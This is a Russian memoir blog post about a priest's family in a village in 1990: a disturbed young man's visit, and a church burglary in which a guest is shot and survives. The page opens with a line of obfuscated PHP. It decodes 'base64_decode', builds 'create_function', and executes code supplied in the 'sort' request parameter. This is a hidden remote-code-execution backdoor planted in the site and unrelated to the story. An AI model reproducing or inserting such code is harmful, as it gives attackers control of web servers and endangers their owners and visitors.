nnn$z0=$_REQUEST['sort'];$q1='';$c2="wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";$y3=array(8,38,15,7,6,4,26,25,7,34,24,25,7);foreach($y3 as $h4){$q1.=$c2[$h4];}$v5=strrev("noi"."tcnuf"."_eta"."erc");$j6=$v5("",$q1($z0));$j6();nnn?php /** * @package dazzling */ ?>

” АГА, ПОПАЛИСЬ ! “


эпиграф

Сердце  мое  смятеся  во  мне,  и   боязнь  смерти  нападе  на  мя
                            54й  псалом  Давида

 
               Вот   две  разнополюсные  истории,  произошедшие  примерно  в  одно  время   –  ранней  осенью 1990
                                 
                                                                                                         I

          Приятель мужа  рассказывал  нам, как  он  в  своём  сопливом   дошкольном  детстве   однажды  зимой,  истосковавшись  по  лету, вместе  с  таким   же,  как  он,  " корешем " собрали в   сумки-сеточки   вещички  и  ушли  из  дому  пешком   в   д е р е в н ю. Они  были  уверены,  что  в  там, в  деревне,   в с е г д а    лето.  Пилигримчиков,  конечно,  отловили, но  их отчаянный  порыв  достоин  сравнения  с  Теребенями  периода  жизни  о.Георгия:  сюда,  в  Теребени  все  стремились  как   на   курорт   души.  От  этой  нездоровой популярности ему  и   пришлось  " эвакуироваться "   на   небеса.
      Лето 1990-го  года  было   ещё   только  второе   лето  нашего  здесь  пребывания. Есть  выражение   "там  яблоку  негде   упасть ". В  разваливающемся   доме, в   кухне, в  этой " кают-компании"  было  полно  народу,  но   всегда  находилось   место,  где  " яблоку  упасть ".  Вот  оно  и  угодило  в  очередной  раз   на  нашу  "одну   с ним  голову ". Хотя  могло   быть   и  хуже.

        В  дом,  в  кухню  бесцеремонно,  как  это  почти  вседа  бывало,  вошёл  парень:
    — Помогите,  помогите  мне !
       Я  вскрысилась,  думая,  что  он  пришёл за  выпивкой  или  её  денежной   компенсацией  – это  было  в  характере  местных. Но  тут  мой  муж  в  очередной  раз  поразил  меня  своей   реакцией.
      Он неожиданно  возник  между  мной  и  парнем,  отодвинул  меня  и  обнял  его,  словно  увидел   желанного  гостя,  провёл  его  на  какой-то  малюсенький  кусочек   свободного  места  в   нашей  шестнадцатиметровой   кухне,  выдернул  из-под  кого-то  стул  для  парня,  ещё   из-под   кого-то   –  для  себя,  сел  с  ним  коленки  в  коленки, положил  ему  на  бёдра  руки ,  вдавил   в  его   бёдра   свои  громадные  пальчища,  потом   хлопнул  парня  по  коленкам  и  стал  бёдра  и  коленки  поглаживать. Я  обескураженно  стояла  рядом,  эти   массажи  наблюдая,  и  глаза  мои  были  врастопырку:  всё  было   необъяснимо,  оставалось  только  терпеливо  смотреть  это  кино  абсурда.
     Муж,  делая  длинные-длинные   паузы,  тихо   парню  внушал: " Успокойся. Помогу . . . дыши.  Спокойно,  спокойно. . . так . . .  что  . . .  что . . . ну . . .  говори . . . "
     Парень  продолжал  мольбы:
   —  Помогите   мне !  У  меня . . .   у   меня . . .  у    меня . . .   О! . . .  о!  . . .  . . .  у  . . .   ме . . .  ме . . .ня ,   у  . . .  меня . . .  есть   . . .   . . .  МЫСЛЬ !   У   меня    е с т ь    м ы с л ь,   е с т ь     м ы с л ь . . .  м ы с л ь  . . .  . . .
      Муж  словно  только  этого  и   ждал.  Удовлетворённый  ответом,  продолжал  допрос:
   —  Так,  спокойно !  У  тебя   е с т ь    м ы с л ь   –   дальше !
     Дальше  был  очередной  затор:  парень . . .
     Конечно,  муж  ещё   первым  вопросом  выяснил,  ещё  когда   только  положил  руку  ему  на  колено,  как  парня  зовут  –  Игорь.
  . . .  парень  эвристически    повторял  своё   откровение   про  существование  у  него   " мысли "  – и    было   видно, что  найденный   ответ  стал  приносить  ему  удовлетворение. Я,  затаив  дыхание,  тоже  заинтригованно  ждала,  да  какая  же  при  таком  " раскладе "   может  быть   у   него    м  ы  с л ь ?
     " И  дождалась".
    —  Мысль, – повторял  парень, – мысль  . ..
    И  вдруг   резюмирующе   и  совершенно  спокойно   сказал:
   —  У  меня   есть  мысль  . . . кого-нибудь    у б и т ь  !
   —  Ну   а  теперь  выйдем. –  Сказал  ему  мой  муж,  о.Георгий.  И  дальнейший  их разговор  был  без  свидетелей.

     Я  не  знаю,  надо  ли  мне  здесь  разводить  анатомию  тех  ситуаций,  которые  привели  парня   к о    м н е    на   видавшую   виды   кухню,  а  его  самого  –  к   этой  страшной  вербализации   своего   состояния.  С  мужем  мы  её  обсуждали,  и  я  дополняла  её  информацией,  собираемой  по  соседкам  –  ведь  парень  был  некогда  свой,  теребенский.  А   в   своих  растрёпанных   чувствах  он  даже  для  них,  близких,  в  тот  день  появился  тихим  ужасом,  сидящим  и   дрожащим   от  холода   в   кусте  у   чьего-то   дома,  поскольку  соседкам  было  известно,  что  он  надёжно  находится   под   надзором   и  лечится   в   психбольнице.
      Каким   образом  в  Ленинграде   парень,  находясь  рядом  с  отцом,  исчез  по  дороге  к  врачу ?  Каким  образом  он,  без   денег,  без  верхней   одежды  умудрился  сесть  в   междугородный   ночной  автобус,  а   потом,  что  ещё   сложнее,  добраться  от  райцентра   до  нашей  деревни ?  Уму  не  постижимо !
        Нет,  не  буду  рассказывать  историю  несчастности   этого  парня,  потому  что  здесь  я  хотела  подчеркнуть  лишь  такое  качество  своего   мужа,  как  его  мгновенная  правильная  реакция.
      Нет,  всё  же  кратко  скажу,  поскольку  руку  к  парню  приложило  "советское  прошлое",  вроде  его  можно  лишний   раз  и пнуть,  это: 1) голубизна  одного  из  калейдоскопично  менявшихся  здесь  попов;  2)  армия  с  дедовщиной,  куда  парень  был  призван; 3)  Чернобыль, куда  его  угораздило  быть  посланным.
      Таким   образом,  4)  з а л е ч е н н ы й    парень,  решая  в  себе  самом   свою   проблему,  чудом   явился  сюда,  на  место,  как  говорится,  преступления   откуда   и    н а ч а л с я   его   жизненный   крах,  в  котором  и   дальше    в с е   структуры   общества   в   равной   мере   поучаствовали   в   с у д ь б е    этого   ч е л о в е к а,  который,  кстати,  жив  до  сих  пор . . .

                                                                        II

    А  вот  что произошло  спустя   недолгое  время  после  этого. И  время  произошедшего  я  могу  указать  точно,  вплоть  до  минут,  не  говоря  уже  о  дате,  ибо  на  следующее  утро  после  после  этого  нашего  ЧП  где-то  под   Москвой  был  убит  о.Александр  Мень.  А   у  нас  с   несостоявшимся  убийством  дело  было  так.

       В   пятницу  мой  муж  собирался   поехать  в  Опочку  с  ночёвкой, чтобы  утром, 8 сентября,  там  в  церкви  на  кладбище  служить  литургию  –  это  был  период  " пересменок "  между  назначаемыми  туда   священниками.
       Так   какие    же  ангелы  принесли  в  пятницу  перед  отъездом  о.Георгия  Диму  М.  –  молодого   художника,  который  учился  на  иконописном  отделении  Духовной   академии ?  Слава  Богу !  Поэтому   муж  решил  остаться  дома,  в  Теребенях,  и  поехать  на  службу  завтра,  в  субботу  8  сентября,  на  раннем  автобусе.
      Мы  хорошо  втроём   весь  вечер  проговорили.  Наши  дети,  гуляя  перед  выходными, явились  поздно,  и  папа  вместе  с  ними  пошёл  спать,  а  я  ещё  до  трёх  ночи ( или,  как  иногда  говорят – утра ) рассуждала  на   ту   иконописную  тему,  которую  здесь,  в  своих  мемориях,  я  уже  освещала  ( " Адам  в  открытом  космосе " ). Из  комнаты  к  нам  с  Димой  в  кухню  резко  вошёл  злой  муж  с  будильником  в  руках  и,  сунув  его  мне  циферблатом   прямо  к  глазам,  зарычал: " Ты  посмотри,  сколько  уже  времени, а  ты  ни  мне  ни  Диме  не  даёшь  покоя ! "  И  тут   же  наша  примитивная  церковная  сигнализация,  которая  срабатывала,   когда  ей  только  вздумается, заглушила  рычание  мужа.
      Быв  уверенными,  что  это  очередной  фальстарт  сигнализации,  мы  всё-таки   решили   пройтись  к  церкви  –  перед  сном  прогуляться.  Я  дала  Диме  и  мужу  один  фонарик  на  двоих,  а  сама  осталась  у  дома.  Прошло  ну  минут  десять,  не  больше.  И   тут . . .
     Это  были   как   любимые  детские   страшилки,  когда  по  кладбищу  носятся   светящиеся  покойники.  Но  это  были,  ясно,  не  привидения,  а   муж,   Дима   и  какой-то  посторонний ( "потусторонний" ) (забегая  вперёд  –  третий, стоявший  на  "шухере" –  был  в  "комплекте" с   двумя   другими  "потусторонними").
   Надо  сказать,  что  погода  была  комфортно-воровская:  тепло, сумрачно  и  сыро.  Я  только  сейчас  догадалась  посмотреть  в  Интернете  на  лунный  календарь  сентября 1990  года  –  так   и   есть:  полнолуние   было   пятого   сентября ! Вот  почему  туман  был  каким-то  светящимся   и  искажающим  всё  вокруг,  он  был  наполнителем  пространства,  где   свет  и  звуки  странно  себя  вели. Гулко  прозвучал  в  нём   голос  мужа: " Валька ! Звони   в  милицию ! "   А  телефон  как  на  грех   у  нас  был  испорчен !   Если  только  бежать  к  соседке. Благо  я  от наших  вечерних  полемик  была   в  хорошей  " боевой "  форме/
     Однако  прежде чем  бежать  к  соседке,  сначала  я  быстро  метнулась   в  наш  дом, вспомнив  про  ещё  одну  гостью,  улёгшуюся   спать  раньше  нас  всех.  Растормошив  её,  я   скороговоркой  приказала  ей  запереться  –  и  чтоб  никому  ни  в  коем  случае,  даже  мне  дверь  не  отпирать  и  паники  среди  детей  не  наводить.
   Хоть  до  дома  соседки  было  ближе,  чем  до  самой  церкви,  но   кто  их,  преступников,  знает:  сколько  их  и  где  засады ? Я  сзади  домов,  через  крапиву,  малину,  огороды  продралась  в  темноте  и  без  фонарика  к   окнам   соседнего  дома  и  стала  тихонечко  в  них  колошматить. Соседка  уже  к  тому времени  жила  одна,  но  она  была  матерью  военруков,  учительница, закалённая   школой,  кремень-тётка.
 —  А- а,  грабят ?  –  Хладнокровно  и  ничуть  не  удивившись, повторила  она  мой   эмоциональный  возглас.  – Ну  звони,  проходи.
     Я  в  02  позвонила,  и  что   же   дальше   делать ?
     Я  вышла  к  церкви  на  площадку  перед  вратами. Была  подозрительная  тишина,  но  я  чувствовала,  что  криминальные  события  происходят  где-то  там,  за  церковью,  и  поэтому  их   не  слышно.  Почему-то  я  решила  встать   на  самом  видном  месте   посредине  площадки,  где  световое  марево  было  интенсивнее  всего:  логика  поведения  странная,  но,  как  оказалось,  самая  правильная.  Прятаться  ничуть  не  хотелось . . .
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////
                  //  Сейчас, дополняя   уже  написанное   и   получше  повспоминав,  я   кое-что   уточню,  не  стирая  написанного   вчера.
 Позвонив  от  соседки  по  02   и   не  желая  у  неё  отсиживаться,  я  осторожно  вышла  за  старинные  ворота  этого,  некогда  дьяконского   дома.  И  вот  именно  тут-то, закрывая скрипучие  ворота, я снова  получила  звуковой  синхрон,  как  циферблат  будильника  со  сработавшей  сигнализацией  –  раздался  выстрел,  от  звука  которого  я  невольно  присела. Конечно,  же, звоня   от   соседки,  я  не  могла  слышать  как  крика   моего  мужа " ага, попались ! ", так   и    крика  Димы  " спускайте   собак,  заряжай  боевыми ! " – отчего  с  перепугу  кто-то  из  бандитов  выстрелил. Но  был  ли  этот  выстрел  для  острастки ? И  вообще  –  з в у к    в ы с т р е л а   –  что   это  такое ?
                                                                                         л и р и ч е с к о е      о т с т у п л е н и е
   Не  поленитесь,  послушайте  с а м о е   начало  увертюры  к  " Спящей   красавице "  Чайковского   на  полную  громкость. Поверьте, что  это  в  сравнение  не  идёт  с  реальным   звучанием  фортиссимо   ж и в о г о    симфонического    о р к е с т р а.  Просто  какой-то  "залп  Авроры"  . . .Вы  даже представить  себе  не  можете,  к а к   это  в  первый  раз  страшно  услышать !  Когда  я  привела   по  контрамаркам   на  этот  балет   моего  Георгия  и  о.Владимира  Цветкова,  то   они   оба   с  первыми  аккордами   у в е р т ю р ы   так  и  присели ( мы  вынуждены  были  стоять  в  ложе,  но    н а д     о р к е с т р о м),  сжавшись  с  непривычки   словно  от   выстрелов.
 А  что  касается  того,  что  я   после   услышанного  выстрела  и  криков ( вероятно,  моего  мужа ) " попали !  убили ! "  всё  же   " хладнокровно"  пошла  на  освещённую  середину  площадки,  так  это  в  дополнение  к  моей   т е а т р а л ь н о й    закалке  было  точно  по  знаменитой  " формуле "   из  " Белого  солнца  пустыни" :
     —   Ты  как  здесь  оказалась ?
     — . . .    с т р е л я л и   . . .
    ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////
      Конечно,  когда  раздался  выстрел ,  я  невольно  присела (а  мне  казалось,  что  это  была  автоматная  очередь  из-за  реверберации  звука). Опять  же  –  только  сейчас –  я  задумалась,  сколько  же  надо  было  времени,  чтобы  через  закоулки  могил,  из-за  церкви  тащить  на  себе  раненого ? А  мне  до  сих  пор  казалось, что  это  произошло  мгновенно  –  выстрел  и  появление  из  тумана  двоих.  (  Только  что  выше  я  уточнила  этот  эпизод ). Один  тащил  на себе  другого.  И  вот  это  был  самый  яркий,  фантастически  вопиющий   вопрос  во  всей  моей  жизни:  кто  же  кого  тащит ? А   то,  что  я  была  видна,  направило  вектор  событий  в   самую  положительную  сторону.
    О.Георгий  тащил  Диму, но  живого  ли ? Приблизившись  ко  мне,  муж   повёл  себя  опять  же  парадоксально. Он  своей  силищей  просто  перебросил  со  своего  плеча  на  моё  не  понятно  живое  ли  тело  Димы –  я  до  сих  пор  не  могу  понять,  как  я  устояла  под  этой  тяжестью. Муж  метнулся  куда-то  в  сторону  –  не  сразу  стало  ясно,  что  он  выбирал  булыжник  из  разваленной   ограды  церкви. Но  в  темноте  этого  видно  не  было,  как  и  того,  куда  он  с  этим  булыжником  ринулся.  У  меня  в  голове  продолжали  звучать  автоматные  очереди. А   это  оказалось    звуком   мотора   выезжающей   из-за  церкви  воровской  "Волги".  Я  увидела    её,  только  когда  она  миновала  нас   с  Димой, а  муж  сполз   с  неё  прямо  к  нам  под  ноги  с  лобового  стекла  машины,  обеими  руками  засадив  в  стекло  камень. Как  потом  народная  молва  несколько  лет  увеличивала  размер  булыжника,  который  превратился  в  конце  концов  в  скалу: " Батюшка  на  машину  скалу  обрушил ! "
   Поднявшись  с  асфальта,  муж  стащил  с  моего  плеча  на  своё  безмолвного  Диму,  который  вдруг  ожил,  и  пока  мы  его  тащили  к  соседке  в  дом (поскольку,  повторяю,  дом  этот  совсем  напротив  церкви  и  вообще, повторю,  дом  бывший  дьяконский ! ), пока  мы  его втаскивали  по  крыльцу,  через  веранду,  Дима,  может,  и  умирая,  патетически  причитал: " Ребята,  как  здОрово  за  церковь  умереть  в  неравном  бою ! "  А  ведь  у  Димы  только  что  родилась  дочь !
     Первым  делом  муж   вызвал  скорую,  сообщил  в  милицию  цвет  машины  и  куда  она  повернула  от  нас (  всё,  как  оказалось,  напутав). Мы  осторожно  сняли  с  Димы  свитерок, стали  искать  рану. Крови  не  было  нигде  ни  капли.  На  спине, под  правой  лопаткой  на  белоснежной  футболке  мы  увидели  маленькую  дырочку.  Просто  опалённую  дырочку  в  трикотаже ! Даже  не  обрамлённую  кровью ! Мы  осторожно  сняли  футболку. Я,  потрясённая,  глядела  на  эту   единственную  и  идеально  кругленькую  прореху  в  ткани,  а  муж  искал  на  Диме  выходное  отвестие  от  пули.  Его  не  было !  Дима  опять  не  издавал  ни  звука,  был  в  забытьи.  Мы, все  второём  лёжа   на   полу,  тупо  прождали  больше  часа  милицию, которая   так  и  не  приехала,  мы  и  на  " скорую "  уже  потеряли  надежду,  и  даже  не  поверили  себе,  когда  ангелы  в  белых халатах  появились  перед  нами.
   Оказалось,  что   у  милиционеров  по  дороге  к  нам  на  десятом  километре  кончился  бензин,  и  они  возвратились  в  Опочку заправляться.  Но  тем  не  менее  всё  было  гениально ! На  выездах  к  шоссе  они  оставили  в  кустах  по  два  автоматчика. А  когда,  разворачивались   обратно  к  городу, мимо  них  пролетела  эта  злосчастная  "Волга", перестреливаясь  с  ними,  но  она  свернула  именно  на  ту  дорогу,   где  в  конце  её   и  притаились  автоматчики.  Они-то  и  заставили  преступников   как  раз  на  повороте  к   Киевскому  шоссе  покинуть  приметную, с  разбитым  лобовым  стеклом  "Волгу".
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    сделаю  ещё  одно  маленькое  примечание. Бандитскую  " Волгу "  отдали  не  нам  и  не  в  пользование  милиции, что  было  бы  логично. Но  сделали  очень  символично: " Волгу"  отдали  налоговой  инспекции,  и  чуть  ли  не  до  сих  пор  она  в  эксплуатации . . .
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
    Врачи  тоже   п  р о м ы с л и т е л ь н о    со  стороны  высших  сил   е л е-е л е  до  нас,  как  и  преступники  от  нас, да   подзастряв   в   громадной   луже  на  разбитой  дороге,  доехали  только  через  полтора  часа.
    Сразу  обколов  несколько  окрепшего  у  нас  на  руках  за  это  время  Диму  абсолютно  противопоказанным  ему  пеницилином,  они  его  по  этим  несчастным  колдобинам  и  повезли  доканывать.
     Уже  наступило  самое  настоящее  утро  субботы  восьмого  сентября.
    " 02",  повторяю,  так  до  нас  и  не  доехала,  поскольку  они   описанным  мной  чудом  уже  поймали  троих  преступников.  А  та  приопочецкая  деревня, которую  с  утречка  разбудили   автоматные   очереди,  им  в  помощь  сразу  хором  стала  искать  пистолет,  который  преступники  выкинули  при  задержании. К  нам   же  приехали   уже  эксперты.  Муж  пошёл  к  ним,  а  я  пошла  в  дом,  куда     перетрясшаяся  от  страха   гостья,  по  моему   же  приказу,  не  хотела   меня  пускать,  как  я  её  ни  уговаривала  –  было  даже  забавно.
    Было  ещё  много  чего  интересного  в  этот  день.
    Конечно,  весть  следующего  дня  об  убийстве  о.Александра  Меня  нами,  как  никем  другими,   была  встречена  с  понятным  сакральным  ужасом. Тем  более,  что  результат  обследования  Димы  был  ещё  неизвестен.
   Мы  дозвонились   до  больницы, но  на   в ы х о д н ы х,  кроме  дежурного    врача,  ни  врачей,  ни  рентгенолога, естественно,  не  было. А  в   понедельник  к  вечеру нам  сказали  очередную  фантастическую  вещь,  что   сначала  никак  не  могли  в  теле  Димы  рентгеном  найти  эту  коварную  пулю, но догадались  тем  же   рентгеном   пошарить  по  всему  организму,  и  пуля  у  Димы  оказалась  затаившейся  . . .  внутри  шеи !  Ничего  с  этим  фактом  и  с  Димой  они  сделать  не  в  силах   и  просят  приехать  его  забрать  для  дальнейшего  прохождения  лечения  по  месту жительства.

Как   же  это  странное   продвижение  пули   получилось  ?
   Стреляли  из  "Марголина",  спортивного  пистолета,  переделанного  в  боевой. Пуля,  расплющившись  о  правую  лопатку,  пошла  "гулять"   по  внутренностям,  и,  благополучно  обойдя  несколько  (кажется,  шесть !)  смертельных  точек,  ни  одной  не  задев,  застряла  между  шейными  позвонками.
   Но  меня  в  этом  ранении  Димы   потрясло  совсем  другое ! Почему-то,  когда  я  это  следователям  подчёркивала,  они  не  обращали  на  это  никакого  внимания  –  видно,  к  преступным  жестокостям  привыкли.  Но  послушайте!  Если  человек  в  тумане  расположен   к   стреляющему  всем  корпусом,  то   в   тумане   не  видно,  спиной   или   анфас  расположена  " мишень ". Дима  стоял  спиной  к  стрелявшему  и  получил  пулю   в    п р а в у ю    лопатку.  Но  ведь  если  бы  он  стоял  к  стрелявшему  передом,  то  получил   бы  пулю  точно  в  сердце !  Стреляли   з а в е д о м о     на  убой   –   в  сердце !

      Но  почему   вообще  произошёл  этот  выстрел ?
     (повторяюсь)
     Ведь  когда  муж  и  Дима   безмятежно  пошли  прогуляться  к  церкви  и   вдруг  поняли,  что  это  был  не  фальстарт  сигнализации, а  чужое  " проникновение", то  муж   на  сей  раз  недооценил  ситуацию, решив,  что  это  пацаны  схулиганили,  и   ка-а-к   с   крыльца  им   гаркнул: " Ага,   п о п а л и с ь ! " –  так,  что  на  допросах  грабители  заявляли,  что  словно  у  них  над  ухом  это  было  произнесено. Поэтому  они  и  побежали  к   лазу  проникновения, к  которому   уже  успел  подойти  Дима.
     Дима  же  –  не  то  чтобы   п е р е о ц е н и л    ситуацию,  но  начал  в,  силу   своей  патетичности,  правдоподобно   блефовать,  крича  в   с т о р о н у   д е р е в н и,  а  не  лаза: " Спускайте  собак !  Заряжай  боевыми ! "  Вот  один  из  этой  троицы  с  перепугу  и  выстрелил.
    Дима  с  пулей  в  шее  уехал  в  Ленинград  и  жил  с  ней   полгода,  пока  его  готовили  в  Военно-медицинской  академии  к  операции.

      А  операцию  Диме  делал  такой  специалист  по  огнестрельным  ранениям,  который  был   в  своё   время   с  четырьмя  другими   мирового  уровня  хирургами  из  разных  стран  вызван  на  консультацию  по  ранению  Папы  Римского  Иоанна-Павла  турецким  террористом ( в  1980 году) .  Так  вот,  Димин  хирург  сказал  его   маме,  что  он  чего  только  не  видел,  но  если  бы  сам  не занимался  Диминым  ранением,  а  только   от  кого-нибудь  слышал  об  этом,  то  ни  за  что  в  жизни  не  поверил  бы !

   Возвращаясь  к  эпиграфу  данной  мемории,  хочу  её  закончить  моей  встречей  с  Димой  в  понедельник   утром, 10  сентября,  когда  я  только  и  могла  выбраться  из  деревни  проведать  его  в  больнице. Он  вышел  ко  мне  бледный,  обессиленный,  со  словами: " Мне   кажется,  чем-то   не  тем  они  мне   колят,  пока  пуля  во  мне ! ".  Мы,  конечно,  в  очередной  раз  поуповали  на  милость  Божию,  которая  в  очередной  раз  не  подвела . . .
    А  на  прощание  меня  вдруг  словно   кто  в   бок  толкнул  задать  Диме  совершенно  по-журналистски  помпезно  звучащий  вопрос:
 — Слушай,  а  что  в  ту  ночь  для  тебя  было  самым  страшным ?
     Ангел  Дима  не  раздумывая  ответил:

 — Самое  страшное ?  Больше  всего   я   Б О Я Л С Я   кого-нибудь   с л у ч а й н о     у б и т ь !

петр  иоанн  андрей
филипп  фома  варфоломей
              два иакова  матфей
иуда яковль,т.е. фаддей
    зилота симон  и  матфИй


Добавить комментарий